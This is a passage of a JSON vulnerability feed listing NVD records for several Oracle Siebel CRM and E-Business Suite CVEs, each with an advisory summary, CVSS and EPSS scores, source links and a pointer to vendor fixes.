2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101468&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101468, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101467","cveId":"CVE-2026-101467","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Siebel CRM End User product of Oracle Siebel CRM (component: Portal Framework).","summary":"Vulnerability in the Siebel CRM End User product of Oracle Siebel CRM (component: Portal Framework).  Supported versions that are affected are 17.0-26.9. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTPS to compromise Siebel CRM End User.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Siebel CRM End User accessible data as well as  unauthorized access to critical data or complete access to all Siebel CRM End User accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the Siebel CRM End User product of Oracle Siebel CRM (component: Portal Framework).  Supported versions that are affected are 17.0-26.9. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTPS to compromise Siebel CRM End User.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Siebel CRM End User accessible data as well as  unauthorized access to critical data or complete access to all Siebel CRM End User accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:55.593Z","updatedAt":"2026-10-21T18:17:21.957Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101467","asOf":"2026-10-21T18:17:21.957Z"},"epss":{"probability":0.00336,"percentile":0.2672,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101467&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101467","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101467","type":"primary","publishedAt":"2026-10-20T22:17:55.593Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101467&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101467, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101466","cveId":"CVE-2026-101466","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle EDI Gateway product of Oracle E-Business Suite (component: All Miscellaneous EDI Issues).","summary":"Vulnerability in the Oracle EDI Gateway product of Oracle E-Business Suite (component: All Miscellaneous EDI Issues).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle EDI Gateway.  Successful attacks of this vulnerability can result in takeover of Oracle EDI Gateway. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle EDI Gateway product of Oracle E-Business Suite (component: All Miscellaneous EDI Issues).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle EDI Gateway.  Successful attacks of this vulnerability can result in takeover of Oracle EDI Gateway. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:55.473Z","updatedAt":"2026-10-21T19:16:49.917Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101466","asOf":"2026-10-21T19:16:49.917Z"},"epss":{"probability":0.00479,"percentile":0.4106,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101466&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101466","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101466","type":"primary","publishedAt":"2026-10-20T22:17:55.473Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101466&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101466, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101464","cveId":"CVE-2026-101464","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).","summary":"Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Siebel CRM Deployment executes to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Siebel CRM Deployment accessible data as well as  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Siebel CRM Deployment executes to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Siebel CRM Deployment accessible data as well as  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:55.240Z","updatedAt":"2026-10-21T19:16:49.677Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101464","asOf":"2026-10-21T19:16:49.677Z"},"epss":{"probability":0.00158,"percentile":0.04887,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101464&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101464","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101464","type":"primary","publishedAt":"2026-10-20T22:17:55.240Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101464&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101464, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101463","cveId":"CVE-2026-101463","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Siebel CRM End User product of Oracle Siebel CRM (component: UIF Open UI).","summary":"Vulnerability in the Siebel CRM End User product of Oracle Siebel CRM (component: UIF Open UI).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM End User.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Siebel CRM End User accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).","detail":"Vulnerability in the Siebel CRM End User product of Oracle Siebel CRM (component: UIF Open UI).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM End User.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Siebel CRM End User accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:55.130Z","updatedAt":"2026-10-21T18:17:21.847Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101463","asOf":"2026-10-21T18:17:21.847Z"},"epss":{"probability":0.0042,"percentile":0.36034,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101463&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101463","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101463","type":"primary","publishedAt":"2026-10-20T22:17:55.130Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101463&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101463, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101461","cveId":"CVE-2026-101461","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).","summary":"Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).","detail":"Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:54.910Z","updatedAt":"2026-10-21T18:17:21.733Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101461","asOf":"2026-10-21T18:17:21.733Z"},"epss":{"probability":0.00443,"percentile":0.38268,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101461&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101461","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101461","type":"primary","publishedAt":"2026-10-20T22:17:54.910Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101461&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101461, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101460","cveId":"CVE-2026-101460","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).","summary":"Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via TLS to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).","detail":"Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via TLS to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:54.793Z","updatedAt":"2026-10-21T18:17:21.567Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101460","asOf":"2026-10-21T18:17:21.567Z"},"epss":{"probability":0.0042,"percentile":0.36034,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101460&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101460","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101460","type":"primary","publishedAt":"2026-10-20T22:17:54.793Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101460&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101460, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101459","cveId":"CVE-2026-101459","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).","summary":"Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Siebel CRM Deployment accessible data as well as  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Siebel CRM Deployment. CVSS 3.1 Base Score 8.3 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L).","detail":"Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Siebel CRM Deployment accessible data as well as  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Siebel CRM Deployment. CVSS 3.1 Base Score 8.3 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:54.670Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101459","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00391,"percentile":0.32933,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101459&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101459","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101459","type":"primary","publishedAt":"2026-10-20T22:17:54.670Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101459&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101459, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101458","cveId":"CVE-2026-101458","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).","summary":"Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data as well as  unauthorized update, insert or delete access to some of Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).","detail":"Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data as well as  unauthorized update, insert or delete access to some of Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:54.557Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101458","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00339,"percentile":0.27102,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101458&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101458","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101458","type":"primary","publishedAt":"2026-10-20T22:17:54.557Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101458&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101458, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101457","cveId":"CVE-2026-101457","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Siebel Apps - Life Sciences product of Oracle Siebel CRM (component: eDetailing).","summary":"Vulnerability in the Siebel Apps - Life Sciences product of Oracle Siebel CRM (component: eDetailing).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows low privileged attacker with network access via SQL to compromise Siebel Apps - Life Sciences.  Successful attacks of this vulnerability can result in takeover of Siebel Apps - Life Sciences. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Siebel Apps - Life Sciences product of Oracle Siebel CRM (component: eDetailing).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows low privileged attacker with network access via SQL to compromise Siebel Apps - Life Sciences.  Successful attacks of this vulnerability can result in takeover of Siebel Apps - Life Sciences. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:54.440Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101457","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00459,"percentile":0.39535,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101457&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101457","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101457","type":"primary","publishedAt":"2026-10-20T22:17:54.440Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101457&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101457, scored 2026-10-25. This is a model estimate, not proof of 